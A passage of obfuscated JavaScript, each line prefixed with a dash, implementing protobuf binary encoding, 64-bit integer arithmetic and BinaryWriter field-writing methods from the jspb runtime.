- _0x3f5a41.lo = parseInt(_0x5dd8a4[_0x495a7c], 10);
- _0x3b1162 = _0x3b1162.eb(10).add(_0x3f5a41);
- }
- return _0x3b1162;
- }
- function _0x297035(_0x230f31, _0xbddd7a) {
- this.lo = _0x230f31;
- this.hi = _0xbddd7a;
- }
- function _0x5e6e15(_0x9663cf) {
- var _0x520d15 = 0 < _0x9663cf.length && "-" == _0x9663cf[0];
- _0x520d15 && (_0x9663cf = _0x9663cf.substring(1));
- return null === (_0x9663cf = _0x5b0b36(_0x9663cf)) ? null : (_0x520d15 && (_0x9663cf = new _0x3098ff(0, 0).sub(_0x9663cf)), new _0x297035(_0x9663cf.lo, _0x9663cf.hi));
- }
- function _0x50cca3() {
- this.c = [];
- this.b = 0;
- this.a = new _0x2893fa();
- this.h = [];
- }
- function _0x3a6916(_0x167d59, _0xf0cd42) {
- var _0x380322 = _0x167d59.a.end();
- _0x167d59.c.push(_0x380322);
- _0x167d59.c.push(_0xf0cd42);
- _0x167d59.b += _0x380322.length + _0xf0cd42.length;
- }
- function _0x1fe6a9(_0x1ca8e4, _0x2c8d3e) {
- _0x2e76ae(_0x1ca8e4, _0x2c8d3e, 2);
- _0x2c8d3e = _0x1ca8e4.a.end();
- _0x1ca8e4.c.push(_0x2c8d3e);
- _0x1ca8e4.b += _0x2c8d3e.length;
- _0x2c8d3e.push(_0x1ca8e4.b);
- return _0x2c8d3e;
- }
- function _0x550d3f(_0x4871e3, _0x357d6d) {
- var _0x300079 = _0x357d6d.pop();
- for (_0x53e92a(0 <= (_0x300079 = _0x4871e3.b + _0x4871e3.a.length() - _0x300079)); 127 < _0x300079;) {
- _0x357d6d.push(127 & _0x300079 | 128);
- _0x300079 >>>= 7;
- _0x4871e3.b++;
- }
- _0x357d6d.push(_0x300079);
- _0x4871e3.b++;
- }
- function _0x2e76ae(_0x1455b1, _0x150b04, _0x1e9177) {
- _0x53e92a(1 <= _0x150b04 && _0x150b04 == Math.floor(_0x150b04));
- _0x1455b1.a.j(8 * _0x150b04 + _0x1e9177);
- }
- function _0x904cb0(_0x197267, _0x1b4e3f, _0x241789) {
- null != _0x241789 && (_0x2e76ae(_0x197267, _0x1b4e3f, 0), _0x197267.a.j(_0x241789));
- }
- function _0xc04e93(_0x1bc44f, _0x3665bb, _0x542c74) {
- null != _0x542c74 && (_0x2e76ae(_0x1bc44f, _0x3665bb, 0), _0x1bc44f.a.M(_0x542c74));
- }
- _0x4851be("jspb.debug.dump", _0x352ef2.dump, undefined);
- _0x352ef2.X = function (_0x311126) {
- var _0x384bb2 = _0xd2c509(_0x311126);
- if ("number" == _0x384bb2 || "string" == _0x384bb2 || "boolean" == _0x384bb2 || "null" == _0x384bb2 || "undefined" == _0x384bb2 || "undefined" != typeof Uint8Array && _0x311126 instanceof Uint8Array) {
- return _0x311126;
- }
- if ("array" == _0x384bb2) {
- (function (_0x374ee0, _0x4c61d4, _0x4e580f) {
- for (var _0x41405b = [], _0x36b1d6 = 2; _0x36b1d6 < arguments.length; ++_0x36b1d6) {
- _0x41405b[_0x36b1d6 - 2] = arguments[_0x36b1d6];
- }
- Array.isArray(_0x374ee0) || _0x4e3779("Expected array but got %s: %s.", [_0xd2c509(_0x374ee0), _0x374ee0], _0x4c61d4, _0x41405b);
- })(_0x311126);
- return _0x478a93(_0x311126, _0x352ef2.X);
- }
- if (_0x311126 instanceof _0x31e943) {
- for (var _0x32249e = {}, _0x2149e7 = (_0x311126 = _0x311126.entries()).next(); !_0x2149e7.done; _0x2149e7 = _0x311126.next()) {
- _0x32249e[_0x2149e7.value[0]] = _0x352ef2.X(_0x2149e7.value[1]);
- }
- return _0x32249e;
- }
- _0x4c857b(_0x311126, _0x1c56aa, "Only messages expected: " + _0x311126);
- var _0x404f29 = {
- $name: (_0x384bb2 = _0x311126.constructor).name || _0x384bb2.displayName
- };
- for (_0x3627a0 in _0x384bb2.prototype) {
- var _0x4ac67d = /^get([A-Z]\w*)/.exec(_0x3627a0);
- if (_0x4ac67d && "getExtension" != _0x3627a0 && "getJsPbMessageId" != _0x3627a0) {
- var _0x290cd8 = "has" + _0x4ac67d[1];
- _0x311126[_0x290cd8] && !_0x311126[_0x290cd8]() || (_0x290cd8 = _0x311126[_0x3627a0](), _0x404f29[_0x352ef2.$a(_0x4ac67d[1])] = _0x352ef2.X(_0x290cd8));
- }
- }
- if (_0x311126.extensionObject_) {
- _0x404f29.$extensions = "Recursive dumping of extensions not supported in compiled code. Switch to uncompiled or dump extension object directly";
- return _0x404f29;
- }
- for (_0x2149e7 in _0x384bb2.extensions) if (/^\d+$/.test(_0x2149e7)) {
- _0x290cd8 = _0x384bb2.extensions[_0x2149e7];
- var _0x3627a0 = _0x311126.getExtension(_0x290cd8);
- _0x4ac67d = undefined;
- _0x290cd8 = _0x290cd8.Ba;
- var _0x5e9c7c = [];
- var _0x42f96b = 0;
- for (_0x4ac67d in _0x290cd8) _0x5e9c7c[_0x42f96b++] = _0x4ac67d;
- _0x4ac67d = _0x5e9c7c[0];
- null != _0x3627a0 && (_0x32249e || (_0x32249e = _0x404f29.$extensions = {}), _0x32249e[_0x352ef2.$a(_0x4ac67d)] = _0x352ef2.X(_0x3627a0));
- }
- return _0x404f29;
- };
- _0x352ef2.$a = function (_0xe6ca73) {
- return _0xe6ca73.replace(/^[A-Z]/, function (_0x541ed1) {
- return _0x541ed1.toLowerCase();
- });
- };
- _0x4851be("jspb.BinaryEncoder", _0x2893fa, undefined);
- _0x2893fa.prototype.length = function () {
- return this.a.length;
- };
- _0x2893fa.prototype.length = _0x2893fa.prototype.length;
- _0x2893fa.prototype.end = function () {
- var _0x313e50 = this.a;
- this.a = [];
- return _0x313e50;
- };
- _0x2893fa.prototype.end = _0x2893fa.prototype.end;
- _0x2893fa.prototype.l = function (_0xa7a916, _0x56076c) {
- for (_0x53e92a(_0xa7a916 == Math.floor(_0xa7a916)), _0x53e92a(_0x56076c == Math.floor(_0x56076c)), _0x53e92a(0 <= _0xa7a916 && 4294967296 > _0xa7a916), _0x53e92a(0 <= _0x56076c && 4294967296 > _0x56076c); 0 < _0x56076c || 127 < _0xa7a916;) {
- this.a.push(127 & _0xa7a916 | 128);
- _0xa7a916 = (_0xa7a916 >>> 7 | _0x56076c << 25) >>> 0;
- _0x56076c >>>= 7;
- }
- this.a.push(_0xa7a916);
- };
- _0x2893fa.prototype.writeSplitVarint64 = _0x2893fa.prototype.l;
- _0x2893fa.prototype.A = function (_0xaeb600, _0x8543bd) {
- _0x53e92a(_0xaeb600 == Math.floor(_0xaeb600));
- _0x53e92a(_0x8543bd == Math.floor(_0x8543bd));
- _0x53e92a(0 <= _0xaeb600 && 4294967296 > _0xaeb600);
- _0x53e92a(0 <= _0x8543bd && 4294967296 > _0x8543bd);
- this.s(_0xaeb600);
- this.s(_0x8543bd);
- };
- _0x2893fa.prototype.writeSplitFixed64 = _0x2893fa.prototype.A;
- _0x2893fa.prototype.j = function (_0x2f5d26) {
- for (_0x53e92a(_0x2f5d26 == Math.floor(_0x2f5d26)), _0x53e92a(0 <= _0x2f5d26 && 4294967296 > _0x2f5d26); 127 < _0x2f5d26;) {
- this.a.push(127 & _0x2f5d26 | 128);
- _0x2f5d26 >>>= 7;
- }
- this.a.push(_0x2f5d26);
- };
- _0x2893fa.prototype.writeUnsignedVarint32 = _0x2893fa.prototype.j;
- _0x2893fa.prototype.M = function (_0x4f8421) {
- if (_0x53e92a(_0x4f8421 == Math.floor(_0x4f8421)), _0x53e92a(-2147483648 <= _0x4f8421 && 2147483648 > _0x4f8421), 0 <= _0x4f8421) {
- this.j(_0x4f8421);
- } else {
- for (var _0x4770ea = 0; 9 > _0x4770ea; _0x4770ea++) {
- this.a.push(127 & _0x4f8421 | 128);
- _0x4f8421 >>= 7;
- }
- this.a.push(1);
- }
- };
- _0x2893fa.prototype.writeSignedVarint32 = _0x2893fa.prototype.M;
- _0x2893fa.prototype.va = function (_0x3293f3) {
- _0x53e92a(_0x3293f3 == Math.floor(_0x3293f3));
- _0x53e92a(0 <= _0x3293f3 && 18446744073709552000 > _0x3293f3);
- _0x561e65(_0x3293f3);
- this.l(_0x7c313d, _0x405b68);
- };
- _0x2893fa.prototype.writeUnsignedVarint64 = _0x2893fa.prototype.va;
- _0x2893fa.prototype.ua = function (_0x2d54bd) {
- _0x53e92a(_0x2d54bd == Math.floor(_0x2d54bd));
- _0x53e92a(-9223372036854776000 <= _0x2d54bd && 9223372036854776000 > _0x2d54bd);
- _0x561e65(_0x2d54bd);
- this.l(_0x7c313d, _0x405b68);
- };
- _0x2893fa.prototype.writeSignedVarint64 = _0x2893fa.prototype.ua;
- _0x2893fa.prototype.wa = function (_0x71e08c) {
- _0x53e92a(_0x71e08c == Math.floor(_0x71e08c));
- _0x53e92a(-2147483648 <= _0x71e08c && 2147483648 > _0x71e08c);
- this.j((_0x71e08c << 1 ^ _0x71e08c >> 31) >>> 0);
- };
- _0x2893fa.prototype.writeZigzagVarint32 = _0x2893fa.prototype.wa;
- _0x2893fa.prototype.xa = function (_0x4ccbc2) {
- _0x53e92a(_0x4ccbc2 == Math.floor(_0x4ccbc2));
- _0x53e92a(-9223372036854776000 <= _0x4ccbc2 && 9223372036854776000 > _0x4ccbc2);
- _0x156cd8(_0x4ccbc2);
- this.l(_0x7c313d, _0x405b68);
- };
- _0x2893fa.prototype.writeZigzagVarint64 = _0x2893fa.prototype.xa;
- _0x2893fa.prototype.Ta = function (_0x84c5f3) {
- this.W(_0x1700f3(_0x84c5f3));
- };
- _0x2893fa.prototype.writeZigzagVarint64String = _0x2893fa.prototype.Ta;
- _0x2893fa.prototype.W = function (_0x5de447) {
- var _0x8b8edb = this;
- _0x594394(_0x5de447);
- _0xe645bc(_0x7c313d, _0x405b68, function (_0x2b9cef, _0x1e32b4) {
- _0x8b8edb.l(_0x2b9cef >>> 0, _0x1e32b4 >>> 0);
- });
- };
- _0x2893fa.prototype.writeZigzagVarintHash64 = _0x2893fa.prototype.W;
- _0x2893fa.prototype.be = function (_0x1a465f) {
- _0x53e92a(_0x1a465f == Math.floor(_0x1a465f));
- _0x53e92a(0 <= _0x1a465f && 256 > _0x1a465f);
- this.a.push(_0x1a465f >>> 0 & 255);
- };
- _0x2893fa.prototype.writeUint8 = _0x2893fa.prototype.be;
- _0x2893fa.prototype.ae = function (_0x3ce541) {
- _0x53e92a(_0x3ce541 == Math.floor(_0x3ce541));
- _0x53e92a(0 <= _0x3ce541 && 65536 > _0x3ce541);
- this.a.push(_0x3ce541 >>> 0 & 255);
- this.a.push(_0x3ce541 >>> 8 & 255);
- };
- _0x2893fa.prototype.writeUint16 = _0x2893fa.prototype.ae;
- _0x2893fa.prototype.s = function (_0x57c861) {
- _0x53e92a(_0x57c861 == Math.floor(_0x57c861));
- _0x53e92a(0 <= _0x57c861 && 4294967296 > _0x57c861);
- this.a.push(_0x57c861 >>> 0 & 255);
- this.a.push(_0x57c861 >>> 8 & 255);
- this.a.push(_0x57c861 >>> 16 & 255);
- this.a.push(_0x57c861 >>> 24 & 255);
- };
- _0x2893fa.prototype.writeUint32 = _0x2893fa.prototype.s;
- _0x2893fa.prototype.V = function (_0x309214) {
- _0x53e92a(_0x309214 == Math.floor(_0x309214));
- _0x53e92a(0 <= _0x309214 && 18446744073709552000 > _0x309214);
- _0x3163b3(_0x309214);
- this.s(_0x7c313d);
- this.s(_0x405b68);
- };
- _0x2893fa.prototype.writeUint64 = _0x2893fa.prototype.V;
- _0x2893fa.prototype.Qc = function (_0x3fb667) {
- _0x53e92a(_0x3fb667 == Math.floor(_0x3fb667));
- _0x53e92a(-128 <= _0x3fb667 && 128 > _0x3fb667);
- this.a.push(_0x3fb667 >>> 0 & 255);
- };
- _0x2893fa.prototype.writeInt8 = _0x2893fa.prototype.Qc;
- _0x2893fa.prototype.Pc = function (_0x400e06) {
- _0x53e92a(_0x400e06 == Math.floor(_0x400e06));
- _0x53e92a(-32768 <= _0x400e06 && 32768 > _0x400e06);
- this.a.push(_0x400e06 >>> 0 & 255);
- this.a.push(_0x400e06 >>> 8 & 255);
- };
- _0x2893fa.prototype.writeInt16 = _0x2893fa.prototype.Pc;
- _0x2893fa.prototype.S = function (_0x5665a5) {
- _0x53e92a(_0x5665a5 == Math.floor(_0x5665a5));
- _0x53e92a(-2147483648 <= _0x5665a5 && 2147483648 > _0x5665a5);
- this.a.push(_0x5665a5 >>> 0 & 255);
- this.a.push(_0x5665a5 >>> 8 & 255);
- this.a.push(_0x5665a5 >>> 16 & 255);
- this.a.push(_0x5665a5 >>> 24 & 255);
- };
- _0x2893fa.prototype.writeInt32 = _0x2893fa.prototype.S;
- _0x2893fa.prototype.T = function (_0x263dc0) {
- _0x53e92a(_0x263dc0 == Math.floor(_0x263dc0));
- _0x53e92a(-9223372036854776000 <= _0x263dc0 && 9223372036854776000 > _0x263dc0);
- _0x561e65(_0x263dc0);
- this.A(_0x7c313d, _0x405b68);
- };
- _0x2893fa.prototype.writeInt64 = _0x2893fa.prototype.T;
- _0x2893fa.prototype.ka = function (_0x38683a) {
- _0x53e92a(_0x38683a == Math.floor(_0x38683a));
- _0x53e92a(-9223372036854776000 <= +_0x38683a && 9223372036854776000 > +_0x38683a);
- _0x594394(_0x1700f3(_0x38683a));
- this.A(_0x7c313d, _0x405b68);
- };
- _0x2893fa.prototype.writeInt64String = _0x2893fa.prototype.ka;
- _0x2893fa.prototype.L = function (_0x1b3da8) {
- _0x53e92a(Infinity === _0x1b3da8 || -Infinity === _0x1b3da8 || isNaN(_0x1b3da8) || -3.4028234663852886e+38 <= _0x1b3da8 && 3.4028234663852886e+38 >= _0x1b3da8);
- _0x55a842(_0x1b3da8);
- this.s(_0x7c313d);
- };
- _0x2893fa.prototype.writeFloat = _0x2893fa.prototype.L;
- _0x2893fa.prototype.J = function (_0x32a338) {
- _0x53e92a(Infinity === _0x32a338 || -Infinity === _0x32a338 || isNaN(_0x32a338) || -1.7976931348623157e+308 <= _0x32a338 && 1.7976931348623157e+308 >= _0x32a338);
- _0x145ea8(_0x32a338);
- this.s(_0x7c313d);
- this.s(_0x405b68);
- };
- _0x2893fa.prototype.writeDouble = _0x2893fa.prototype.J;
- _0x2893fa.prototype.I = function (_0x188954) {
- _0x53e92a("boolean" == typeof _0x188954 || "number" == typeof _0x188954);
- this.a.push(_0x188954 ? 1 : 0);
- };
- _0x2893fa.prototype.writeBool = _0x2893fa.prototype.I;
- _0x2893fa.prototype.R = function (_0x43735a) {
- _0x53e92a(_0x43735a == Math.floor(_0x43735a));
- _0x53e92a(-2147483648 <= _0x43735a && 2147483648 > _0x43735a);
- this.M(_0x43735a);
- };
- _0x2893fa.prototype.writeEnum = _0x2893fa.prototype.R;
- _0x2893fa.prototype.ja = function (_0x3b9a3c) {
- this.a.push.apply(this.a, _0x3b9a3c);
- };
- _0x2893fa.prototype.writeBytes = _0x2893fa.prototype.ja;
- _0x2893fa.prototype.N = function (_0x22d221) {
- _0x594394(_0x22d221);
- this.l(_0x7c313d, _0x405b68);
- };
- _0x2893fa.prototype.writeVarintHash64 = _0x2893fa.prototype.N;
- _0x2893fa.prototype.K = function (_0xfa4327) {
- _0x594394(_0xfa4327);
- this.s(_0x7c313d);
- this.s(_0x405b68);
- };
- _0x2893fa.prototype.writeFixedHash64 = _0x2893fa.prototype.K;
- _0x2893fa.prototype.U = function (_0x21ce79) {
- var _0x36648f = this.a.length;
- !function (_0x342205, _0x294012, _0x465629) {
- for (var _0x732df3 = [], _0x4e52a3 = 2; _0x4e52a3 < arguments.length; ++_0x4e52a3) {
- _0x732df3[_0x4e52a3 - 2] = arguments[_0x4e52a3];
- }
- "string" != typeof _0x342205 && _0x4e3779("Expected string but got %s: %s.", [_0xd2c509(_0x342205), _0x342205], _0x294012, _0x732df3);
- }(_0x21ce79);
- for (var _0x26db6d = 0; _0x26db6d < _0x21ce79.length; _0x26db6d++) {
- var _0x4aaf71 = _0x21ce79.charCodeAt(_0x26db6d);
- if (128 > _0x4aaf71) {
- this.a.push(_0x4aaf71);
- } else {
- if (2048 > _0x4aaf71) {
- this.a.push(_0x4aaf71 >> 6 | 192);
- this.a.push(63 & _0x4aaf71 | 128);
- } else {
- if (65536 > _0x4aaf71) {
- if (55296 <= _0x4aaf71 && 56319 >= _0x4aaf71 && _0x26db6d + 1 < _0x21ce79.length) {
- var _0x47246a = _0x21ce79.charCodeAt(_0x26db6d + 1);
- 56320 <= _0x47246a && 57343 >= _0x47246a && (_0x4aaf71 = 1024 * (_0x4aaf71 - 55296) + _0x47246a - 56320 + 65536, this.a.push(_0x4aaf71 >> 18 | 240), this.a.push(_0x4aaf71 >> 12 & 63 | 128), this.a.push(_0x4aaf71 >> 6 & 63 | 128), this.a.push(63 & _0x4aaf71 | 128), _0x26db6d++);
- } else {
- this.a.push(_0x4aaf71 >> 12 | 224);
- this.a.push(_0x4aaf71 >> 6 & 63 | 128);
- this.a.push(63 & _0x4aaf71 | 128);
- }
- }
- }
- }
- }
- return this.a.length - _0x36648f;
- };
- _0x2893fa.prototype.writeString = _0x2893fa.prototype.U;
- _0x4851be("jspb.arith.UInt64", _0x3098ff, undefined);
- _0x3098ff.prototype.cmp = function (_0x25df77) {
- return this.hi < _0x25df77.hi || this.hi == _0x25df77.hi && this.lo < _0x25df77.lo ? -1 : this.hi == _0x25df77.hi && this.lo == _0x25df77.lo ? 0 : 1;
- };
- _0x3098ff.prototype.cmp = _0x3098ff.prototype.cmp;
- _0x3098ff.prototype.La = function () {
- return new _0x3098ff((this.lo >>> 1 | (1 & this.hi) << 31) >>> 0, this.hi >>> 1 >>> 0);
- };
- _0x3098ff.prototype.rightShift = _0x3098ff.prototype.La;
- _0x3098ff.prototype.Da = function () {
- return new _0x3098ff(this.lo << 1 >>> 0, (this.hi << 1 | this.lo >>> 31) >>> 0);
- };
- _0x3098ff.prototype.leftShift = _0x3098ff.prototype.Da;
- _0x3098ff.prototype.cb = function () {
- return !!(2147483648 & this.hi);
- };
- _0x3098ff.prototype.msb = _0x3098ff.prototype.cb;
- _0x3098ff.prototype.Ob = function () {
- return !!(1 & this.lo);
- };
- _0x3098ff.prototype.lsb = _0x3098ff.prototype.Ob;
- _0x3098ff.prototype.Ua = function () {
- return 0 == this.lo && 0 == this.hi;
- };
- _0x3098ff.prototype.zero = _0x3098ff.prototype.Ua;
- _0x3098ff.prototype.add = function (_0x3b123c) {
- return new _0x3098ff((this.lo + _0x3b123c.lo & 4294967295) >>> 0 >>> 0, ((this.hi + _0x3b123c.hi & 4294967295) >>> 0) + (4294967296 <= this.lo + _0x3b123c.lo ? 1 : 0) >>> 0);
- };
- _0x3098ff.prototype.add = _0x3098ff.prototype.add;
- _0x3098ff.prototype.sub = function (_0x492ca9) {
- return new _0x3098ff((this.lo - _0x492ca9.lo & 4294967295) >>> 0 >>> 0, ((this.hi - _0x492ca9.hi & 4294967295) >>> 0) - (0 > this.lo - _0x492ca9.lo ? 1 : 0) >>> 0);
- };
- _0x3098ff.prototype.sub = _0x3098ff.prototype.sub;
- _0x3098ff.mul32x32 = _0x304bb9;
- _0x3098ff.prototype.eb = function (_0x5b0f09) {
- var _0x130a59 = _0x304bb9(this.lo, _0x5b0f09);
- (_0x5b0f09 = _0x304bb9(this.hi, _0x5b0f09)).hi = _0x5b0f09.lo;
- _0x5b0f09.lo = 0;
- return _0x130a59.add(_0x5b0f09);
- };
- _0x3098ff.prototype.mul = _0x3098ff.prototype.eb;
- _0x3098ff.prototype.Xa = function (_0x22986e) {
- if (0 == _0x22986e) {
- return [];
- }
- var _0x3dd107 = new _0x3098ff(0, 0);
- var _0x5ced2a = new _0x3098ff(this.lo, this.hi);
- _0x22986e = new _0x3098ff(_0x22986e, 0);
- for (var _0x59074c = new _0x3098ff(1, 0); !_0x22986e.cb();) {
- _0x22986e = _0x22986e.Da();
- _0x59074c = _0x59074c.Da();
- }
- for (; !_0x59074c.Ua();) {
- 0 >= _0x22986e.cmp(_0x5ced2a) && (_0x3dd107 = _0x3dd107.add(_0x59074c), _0x5ced2a = _0x5ced2a.sub(_0x22986e));
- _0x22986e = _0x22986e.La();
- _0x59074c = _0x59074c.La();
- }
- return [_0x3dd107, _0x5ced2a];
- };
- _0x3098ff.prototype.div = _0x3098ff.prototype.Xa;
- _0x3098ff.prototype.toString = function () {
- for (var _0x2d3cb9 = "", _0x4631c9 = this; !_0x4631c9.Ua();) {
- var _0x32f447 = (_0x4631c9 = _0x4631c9.Xa(10))[0];
- _0x2d3cb9 = _0x4631c9[1].lo + _0x2d3cb9;
- _0x4631c9 = _0x32f447;
- }
- "" == _0x2d3cb9 && (_0x2d3cb9 = "0");
- return _0x2d3cb9;
- };
- _0x3098ff.prototype.toString = _0x3098ff.prototype.toString;
- _0x3098ff.fromString = _0x5b0b36;
- _0x3098ff.prototype.clone = function () {
- return new _0x3098ff(this.lo, this.hi);
- };
- _0x3098ff.prototype.clone = _0x3098ff.prototype.clone;
- _0x4851be("jspb.arith.Int64", _0x297035, undefined);
- _0x297035.prototype.add = function (_0x110c9c) {
- return new _0x297035((this.lo + _0x110c9c.lo & 4294967295) >>> 0 >>> 0, ((this.hi + _0x110c9c.hi & 4294967295) >>> 0) + (4294967296 <= this.lo + _0x110c9c.lo ? 1 : 0) >>> 0);
- };
- _0x297035.prototype.add = _0x297035.prototype.add;
- _0x297035.prototype.sub = function (_0x35ed2f) {
- return new _0x297035((this.lo - _0x35ed2f.lo & 4294967295) >>> 0 >>> 0, ((this.hi - _0x35ed2f.hi & 4294967295) >>> 0) - (0 > this.lo - _0x35ed2f.lo ? 1 : 0) >>> 0);
- };
- _0x297035.prototype.sub = _0x297035.prototype.sub;
- _0x297035.prototype.clone = function () {
- return new _0x297035(this.lo, this.hi);
- };
- _0x297035.prototype.clone = _0x297035.prototype.clone;
- _0x297035.prototype.toString = function () {
- var _0x1fd903 = 0 != (2147483648 & this.hi);
- var _0xac8bc8 = new _0x3098ff(this.lo, this.hi);
- _0x1fd903 && (_0xac8bc8 = new _0x3098ff(0, 0).sub(_0xac8bc8));
- return (_0x1fd903 ? "-" : "") + _0xac8bc8.toString();
- };
- _0x297035.prototype.toString = _0x297035.prototype.toString;
- _0x297035.fromString = _0x5e6e15;
- _0x4851be("jspb.BinaryWriter", _0x50cca3, undefined);
- _0x50cca3.prototype.pb = function (_0x50a90f, _0x17ce5a, _0x204ff8) {
- _0x3a6916(this, _0x50a90f.subarray(_0x17ce5a, _0x204ff8));
- };
- _0x50cca3.prototype.writeSerializedMessage = _0x50cca3.prototype.pb;
- _0x50cca3.prototype.Pb = function (_0x38afad, _0x59ba3c, _0x5aed2c) {
- null != _0x38afad && null != _0x59ba3c && null != _0x5aed2c && this.pb(_0x38afad, _0x59ba3c, _0x5aed2c);
- };
- _0x50cca3.prototype.maybeWriteSerializedMessage = _0x50cca3.prototype.Pb;
- _0x50cca3.prototype.reset = function () {
- this.c = [];
- this.a.end();
- this.b = 0;
- this.h = [];
- };
- _0x50cca3.prototype.reset = _0x50cca3.prototype.reset;
- _0x50cca3.prototype.ab = function () {
- _0x53e92a(0 == this.h.length);
- for (var _0xa13e1f = new Uint8Array(this.b + this.a.length()), _0x18fe08 = this.c, _0x449ebd = _0x18fe08.length, _0x46a3d8 = 0, _0x361f7a = 0; _0x361f7a < _0x449ebd; _0x361f7a++) {
- var _0x3ff05d = _0x18fe08[_0x361f7a];
- _0xa13e1f.set(_0x3ff05d, _0x46a3d8);
- _0x46a3d8 += _0x3ff05d.length;
- }
- _0x18fe08 = this.a.end();
- _0xa13e1f.set(_0x18fe08, _0x46a3d8);
- _0x53e92a((_0x46a3d8 += _0x18fe08.length) == _0xa13e1f.length);
- this.c = [_0xa13e1f];
- return _0xa13e1f;
- };
- _0x50cca3.prototype.getResultBuffer = _0x50cca3.prototype.ab;
- _0x50cca3.prototype.Kb = function (_0x5acd34) {
- return _0x564018(this.ab(), _0x5acd34);
- };
- _0x50cca3.prototype.getResultBase64String = _0x50cca3.prototype.Kb;
- _0x50cca3.prototype.Va = function (_0x533e90) {
- this.h.push(_0x1fe6a9(this, _0x533e90));
- };
- _0x50cca3.prototype.beginSubMessage = _0x50cca3.prototype.Va;
- _0x50cca3.prototype.Ya = function () {
- _0x53e92a(0 <= this.h.length);
- _0x550d3f(this, this.h.pop());
- };
- _0x50cca3.prototype.endSubMessage = _0x50cca3.prototype.Ya;
- _0x50cca3.prototype.Nc = function (_0x706856, _0x2c5660, _0x307c8d) {
- switch (_0x706856) {
- case 1:
- this.J(_0x2c5660, _0x307c8d);
- break;
- case 2:
- this.L(_0x2c5660, _0x307c8d);
- break;
- case 3:
- this.T(_0x2c5660, _0x307c8d);
- break;
- case 4:
- this.V(_0x2c5660, _0x307c8d);
- break;
- case 5:
- this.S(_0x2c5660, _0x307c8d);
- break;
- case 6:
- this.Qa(_0x2c5660, _0x307c8d);
- break;
- case 7:
- this.Pa(_0x2c5660, _0x307c8d);
- break;
- case 8:
- this.I(_0x2c5660, _0x307c8d);
- break;
- case 9:
- this.U(_0x2c5660, _0x307c8d);
- break;
- case 10:
- _0x2e10b2("Group field type not supported in writeAny()");
- break;
- case 11:
- _0x2e10b2("Message field type not supported in writeAny()");
- break;
- case 12:
- this.ja(_0x2c5660, _0x307c8d);
- break;
- case 13:
- this.s(_0x2c5660, _0x307c8d);
- break;
- case 14:
- this.R(_0x2c5660, _0x307c8d);
- break;
- case 15:
- this.Ra(_0x2c5660, _0x307c8d);
- break;
- case 16:
- this.Sa(_0x2c5660, _0x307c8d);
- break;
- case 17:
- this.rb(_0x2c5660, _0x307c8d);
- break;
- case 18:
- this.sb(_0x2c5660, _0x307c8d);
- break;
- case 30:
- this.K(_0x2c5660, _0x307c8d);
- break;
- case 31:
- this.N(_0x2c5660, _0x307c8d);
- break;
- default:
- _0x2e10b2("Invalid field type in writeAny()");
- }
- };
- _0x50cca3.prototype.writeAny = _0x50cca3.prototype.Nc;
- _0x50cca3.prototype.S = function (_0x4c5aa3, _0x12506e) {
- null != _0x12506e && (_0x53e92a(-2147483648 <= _0x12506e && 2147483648 > _0x12506e), _0xc04e93(this, _0x4c5aa3, _0x12506e));
- };
- _0x50cca3.prototype.writeInt32 = _0x50cca3.prototype.S;
- _0x50cca3.prototype.ob = function (_0x518e91, _0x46572b) {
- null != _0x46572b && (_0x53e92a(-2147483648 <= (_0x46572b = parseInt(_0x46572b, 10)) && 2147483648 > _0x46572b), _0xc04e93(this, _0x518e91, _0x46572b));
- };
- _0x50cca3.prototype.writeInt32String = _0x50cca3.prototype.ob;
- _0x50cca3.prototype.T = function (_0xe157f2, _0x1a73d3) {
- null != _0x1a73d3 && (_0x53e92a(-9223372036854776000 <= _0x1a73d3 && 9223372036854776000 > _0x1a73d3), null != _0x1a73d3 && (_0x2e76ae(this, _0xe157f2, 0), this.a.ua(_0x1a73d3)));
- };
- _0x50cca3.prototype.writeInt64 = _0x50cca3.prototype.T;
- _0x50cca3.prototype.ka = function (_0x221481, _0x39af4f) {
- null != _0x39af4f && (_0x39af4f = _0x5e6e15(_0x39af4f), _0x2e76ae(this, _0x221481, 0), this.a.l(_0x39af4f.lo, _0x39af4f.hi));
- };
- _0x50cca3.prototype.writeInt64String = _0x50cca3.prototype.ka;
- _0x50cca3.prototype.s = function (_0x5f331d, _0x5dbc7c) {
- null != _0x5dbc7c && (_0x53e92a(0 <= _0x5dbc7c && 4294967296 > _0x5dbc7c), _0x904cb0(this, _0x5f331d, _0x5dbc7c));
- };
- _0x50cca3.prototype.writeUint32 = _0x50cca3.prototype.s;
- _0x50cca3.prototype.ub = function (_0x4d17ad, _0x3f7b54) {
- null != _0x3f7b54 && (_0x53e92a(0 <= (_0x3f7b54 = parseInt(_0x3f7b54, 10)) && 4294967296 > _0x3f7b54), _0x904cb0(this, _0x4d17ad, _0x3f7b54));
- };
- _0x50cca3.prototype.writeUint32String = _0x50cca3.prototype.ub;
- _0x50cca3.prototype.V = function (_0x1247b1, _0x3565a3) {
- null != _0x3565a3 && (_0x53e92a(0 <= _0x3565a3 && 18446744073709552000 > _0x3565a3), null != _0x3565a3 && (_0x2e76ae(this, _0x1247b1, 0), this.a.va(_0x3565a3)));
- };
- _0x50cca3.prototype.writeUint64 = _0x50cca3.prototype.V;
- _0x50cca3.prototype.vb = function (_0x28efdc, _0x484ded) {
- null != _0x484ded && (_0x484ded = _0x5b0b36(_0x484ded), _0x2e76ae(this, _0x28efdc, 0), this.a.l(_0x484ded.lo, _0x484ded.hi));
- };
- _0x50cca3.prototype.writeUint64String = _0x50cca3.prototype.vb;
- _0x50cca3.prototype.rb = function (_0x14733d, _0x29ab40) {
- null != _0x29ab40 && (_0x53e92a(-2147483648 <= _0x29ab40 && 2147483648 > _0x29ab40), null != _0x29ab40 && (_0x2e76ae(this, _0x14733d, 0), this.a.wa(_0x29ab40)));
- };
- _0x50cca3.prototype.writeSint32 = _0x50cca3.prototype.rb;
- _0x50cca3.prototype.sb = function (_0x32a899, _0x273677) {
- null != _0x273677 && (_0x53e92a(-9223372036854776000 <= _0x273677 && 9223372036854776000 > _0x273677), null != _0x273677 && (_0x2e76ae(this, _0x32a899, 0), this.a.xa(_0x273677)));
- };
- _0x50cca3.prototype.writeSint64 = _0x50cca3.prototype.sb;
- _0x50cca3.prototype.$d = function (_0x57c038, _0x44fe15) {
- null != _0x44fe15 && null != _0x44fe15 && (_0x2e76ae(this, _0x57c038, 0), this.a.W(_0x44fe15));
- };
- _0x50cca3.prototype.writeSintHash64 = _0x50cca3.prototype.$d;
- _0x50cca3.prototype.Zd = function (_0x2b630b, _0x280de9) {
- null != _0x280de9 && null != _0x280de9 && (_0x2e76ae(this, _0x2b630b, 0), this.a.Ta(_0x280de9));
- };
